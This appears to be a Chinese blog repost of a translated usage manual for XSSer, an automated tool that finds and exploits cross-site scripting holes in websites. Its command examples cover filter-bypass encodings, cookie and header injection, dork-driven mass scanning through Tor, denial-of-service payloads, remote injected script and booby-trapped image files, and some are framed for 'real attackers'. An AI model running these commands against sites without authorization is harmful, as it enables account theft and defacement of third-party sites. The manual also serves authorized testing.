超强XSS攻击利器

Posted 亦非台

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了超强XSS攻击利器相关的知识,希望对你有一定的参考价值。

=======================================================================

BackTrack 5 R1 XSS研究之XSSer(超强XSS攻击利器)使用说明中文版

                                                    XSSer使用说明
================================================================

简介:
===============================================================
跨站脚本者是一个自动框架,检测,利用和报告基于Web应用XSS漏洞。它包含几个选项,试图绕过某些过滤器,以及各种特殊的代码注入技术。
XSSer由一个遵循GPL V3的团队完成,版权属于psy ( - ).

================================================================
选项与设置:
==============================
 
xsser [OPTIONS] [-u <url> |-i <file> |-d <dork>] [-g <get> |-p <post> |-c <crawl>] [Request(s)] [Vector(s)] [Bypasser(s)] [Technique(s)] [Final Injection(s)]

Options:
  --version             显示程序的版本号
  -h, --help             显示帮助信息
  -s, --statistics     显示高级显示输出结果
  -v, --verbose       激活冗余模式输出结果
  --gtk                     加载 XSSer GTK 接口

  *特别的用法*:
    你可以选择 Vector(s) 和 Bypasser(s) 结合特殊的用法来注入代码:

    --imx=IMX           利用XSS代码植入来创建一个假的图象
    --fla=FLASH       利用XSS代码植入来创建一个假的swf

  *选择目标*:
    至少有一个选择必须被指定来设置来源以获得目标(s)的url。. 你需要选择然后运行XSSer:

    -u URL, --url=URL    键入目标URL进行分析
    -i READFILE            从一个文件中读取URL
    -d DORK                   利用搜索引擎傻瓜式的搜索URL
    --De=DORK_ENGINE    傻瓜式的利用搜索引擎 (bing, altavista,yahoo, baidu, yandex, youdao, webcrawler, ask, etc.查看 dork.py 文件来核对有效的搜索引擎)

  *现则HTTP/HTTPS的连接类型*:
    These options can be used to specify which parameter(s) we want to use
    like payload to inject code.

    -g GETDATA            输入一个负荷来进行审计,使用 GET参数 (例如: ‘/menu.php?q=‘)
    -p POSTDATA         输入一个负荷来进行审计,使用 POST 参数(例如: ‘foo=1&bar=‘)
    -c CRAWLING         目标URL的爬行数目(s): 1-99999
    --Cw=CRAWLER_WIDTH  爬行深度: 1-5
    --Cl                            本地目标URL爬行 (默认 TRUE)

  *安装 请求*:
    这些选项被用来制定如何攻击目标和使用负荷. 你有多重选择:

    --cookie=COOKIE     改变你的HTTP Cookie header
    --user-agent=AGENT  改变你的 HTTP User-Agent header (默认 SPOOFED)
    --referer=REFERER   使用别的HTTP Referer header (默认 NONE)
    --headers=HEADERS   额外的 HTTP headers 换行隔开
    --auth-type=ATYPE   HTTP 认证类型 (基本值类型或者摘要)
    --auth-cred=ACRED   HTTP 认证证书 (值 name:password)
    --proxy=PROXY       使用代理服务器 (tor:http://localhost:8118)
    --timeout=TIMEOUT   设定时间延迟 (默认 30)
    --delay=DELAY       设定每一个 HTTP request值 (默认 8)
    --threads=THREADS   最大数目的 HTTP requests并发 (默认 5)
    --retries=RETRIES   连接超时重试 (默认 3)

  *系统验校器*:
    这些选项对于有过滤器的XSS 攻击很有效 和或者重复所利用的代码:

    --hash                如果目标重复内容,则每次检测hash
                               (对预知可能错误的结果非常有用)
    --heuristic         启发式的设置才检测那些脚本会被过滤: ;\/<>"‘=

  *选择 攻击向量(s)*:
    这些选项被用在特殊的 XSS 向量源代码来注入到每一个负荷中。非常重要的, 如果你不想尝试通用的XSS注入代码,
 请使用默认参数. 只有一个选项:

    --payload=SCRIPT    OWN  - 插入你手动构造的XSS 语句-
    --auto              AUTO - 从文件中插入 XSSer ‘报告‘ 向量

  *选择 Bypasser(s)*:
    这些选项用来编码所选择的攻击向量,如果目标使用反XSS过滤器代码和IPS规则,则尝试绕过所有的目标上的反XSS 过滤器代码和入侵防御系统规则,
 . 总之, 能结合其他的技巧 来提供编码:

    --Str                 使用 String.FromCharCode()方法
    --Une               使用 Unescape() 函数
    --Mix                最小的 String.FromCharCode() 函数 和 Unescape()函数
    --Dec               使用小数编码
    --Hex               使用16进制编码
    --Hes               使用带分号的16进制编码
    --Dwo              编码IP地址向量为双字节
    --Doo               编码IP地址向量为八进制
    --Cem=CEM           手动尝试不同的字符编码
                        (反向混淆效果更好) -> (例如: ‘Mix,Une,Str,Hex‘)

  *特殊的技巧*:
    这些选项被用来尝试不同的XSS 技巧. 你可以进行多重选择:

    --Coo               COO - 跨站脚本Cookies注入
    --Xsa                XSA -   跨站Agent 脚本
    --Xsr                 XSR -    跨站 Referer 脚本
    --Dcp               DCP - DCP注入
    --Dom              DOM - DOM注入
    --Ind                 IND - HTTP 包含代码的快速响应
    --Anchor           ANC - 使用影子攻击负荷 (DOM 影子!)

  *Select Final injection(s)*:
    这些选项在攻击目标中用于特殊代码注入 Important, if you want to exploit on-the-wild
    your discovered vulnerabilities. Choose only one option:

    --Fp=FINALPAYLOAD   OWN    - 手动插入注入代码-
    --Fr=FINALREMOTE    REMOTE - 远程插入注入代码
    --Doss              DOSs   - XSS 对服务端的拒绝服务攻击注入
    --Dos               DOS    - XSS 对客户端的拒绝服务攻击注入
    --B64               B64    - META标签 Base64编码(rfc2397)

  *Special Final injection(s)*:
    These options can be used to execute some ‘special‘ injection(s) in
    vulnerable target(s). You can select multiple and combine with your
    final code (except with DCP code):

    --Onm             ONM - 使用 MouseMove() 事件注入代码
    --Ifr                   IFR - 使用 <iframe>资源标签注入代码

  *混杂模式*:
    --silent              禁止控制台输出结果
    --update            检查XSSer 最新稳定版本
    --save                直接输入结果到模版文件 (XSSlist.dat)
    --xml=FILEXML 输出 ‘positives‘到一个XML文件 (--xml filename.xml)
    --publish             输出 ‘positives‘本地网络 (identi.ca)
    --short=SHORTURLS   显示最后的短代码 (tinyurl, is.gd)
    --launch              发现的每个XSS都在浏览器进行测试

================================================================
用法举例:
==============================

* 从URL进行简单XSS注入:

$ Python XSSer.py -u "http://host.com"

-------------------
* 从一个文件中读取URL并且进行简单的注入,同时设定代理参数和HTTP Header参数:

$ python XSSer.py -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"

-------------------
* 从URL进行多重注入, 使用自动化负荷,和代理, 注入负荷使用116进制编码 "Hex", 产生冗长的输出,并且将结果保存到一个文件 (XSSlist.dat):

$ python XSSer.py -u "http://host.com" --proxy "http://127.0.0.1:8118" --auto --Hex --verbose -w

-------------------
* 从URL进行多重注入, 使用自动化负荷和特殊的文字编码(第一, 改变负荷为16进制; 第二, 改变第一次的编码为字节码到字符串; 第三, 把第二次的编码重新进行16进制编码), 使用代理欺骗, 改变时间延迟为 "20" and 使用多线程 (5 个线程):

$ python XSSer.py -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"

-------------------
* 从文件读取进行高级注入, 负荷采用 -own- payload 参数,并且使用Unescape() 函数进行字符编码绕过检测:

$ python XSSer.py -i "urls.txt" --payload ‘a="get";b="URL(\"";c="JavaScript:";d="alert(‘XSS‘);\")";eval(a+b+c+d);‘ --Une

-------------------
* 傻瓜式的选择 "duck" 引擎进行注入 (XSSer 蠕虫!):

$ python XSSer.py --De "duck" -d "search.php?"

-------------------
* 注入爬行深度为3 ,页面数目(宽度)为4 来进行检测(XSSer 蜘蛛!):

$ python XSSer.py -c3 --Cw=4 -u "http://host.com"

-------------------
* 从URL简单注入, 使用POST方式, 并且统计结果:

$ python XSSer.py -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s

-------------------
* 从URL进行多重注入,发送参数类型为GET, 使用自动负荷, 使用八进制的IP地址进行混淆并且输出结果到一个 "tinyurl" 短网址 (为分享者准备!):

$ python XSSer.py -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl

-------------------
* 从URL进行简单注入, 使用 GET 参数, 用Cookies参数注入一个向量, 尝试使用一个 DOM 幽灵空间 (服务器无日志记录!) 如果存在任何 "漏洞", 则手工植入 "恶意" 代码 (为真正的攻击者准备!):

$ python XSSer.py -u "http://host.com" -g "bs/?q=" --Coo --Anchor --Fr="!enter your final injection code here!"

-------------------
* 从URL进行简单注入, 使用 GET 参数, 尝试产生一个带 "恶意代码" 短网址 (is.gd) 使用一个有效的DOS来攻击客户端:

$ python XSSer.py -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"

-------------------
* 多点多重注入, 从一个目标中提取目标, 运行自动负荷,改变时间延时为 "20" ,并且使用多线程(5 个线程), 增加延时到10 s, 注入参数到HTTP 的USer-Agent, HTTP 参数 和 Cookies参数, 使用Tor代理, IP进行八进制混淆, 进行结果统计, 冗长 模式创建短网址 (tinyurl) 来发现任何有效的攻击负荷 (真正的攻击模式!):

$ python XSSer.py -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"

-------------------
* 注入用户的XSS攻击向量在 "在空白处"创建带恶意代码的虚假图片, 并且准备被上传.

$ python XSSer.py --Imx "test.png" --payload "!在这儿输入你的恶意代码!"

-------------------
* 报告输出‘positives‘ 注入到 dorking搜索 (使用 "ask" dorker) ,直接写入到一个 XML 文件.

$ python XSSer.py -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml"

-------------------
* 在 dorking 搜索中输出正确的结果 (使用 "duck" 标示) 可以直接查看http://identi.ca
(XSS 渗透测试 Vs 僵尸网络联盟)

$ python XSSer.py -d "login.php" --De "duck" --publish

* 在线例子:

-http://identi.ca/xsserbot01
-http://twitter.com/xsserbot01

-------------------
* 使用XSS代码注入创建一个 .swf 文件

$ python XSSer.py --imx "name_of_file"

-------------------
* 如果目标产生错误的结果,则每次发送一个检测hash。

$ python XSSer.py -u "host.com" --check

-------------------
* 从URL进行多重Fuzz注入, 包含 DCP 注入 利用自己的代码, 用短网址进行欺骗, 发现有用的结果. XSS实时利用.

$ python XSSer.py -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"

-------------------
* Base64 编码中间的标记(rfc2397) 从而对一个可攻击目标进行手工利用.
 
$ python XSSer.py -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64

-------------------
* 利用自己的 "own" -远程代码-直接在浏览器中进行加载和Fuzz测试。
 
$ python XSSer.py -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch

以上是关于超强XSS攻击利器的主要内容,如果未能解决你的问题,请参考以下文章

web 安全问题:XSS攻击

xss攻击入门

如何正确防御xss攻击

xss攻击

xss---攻击

xss攻击入门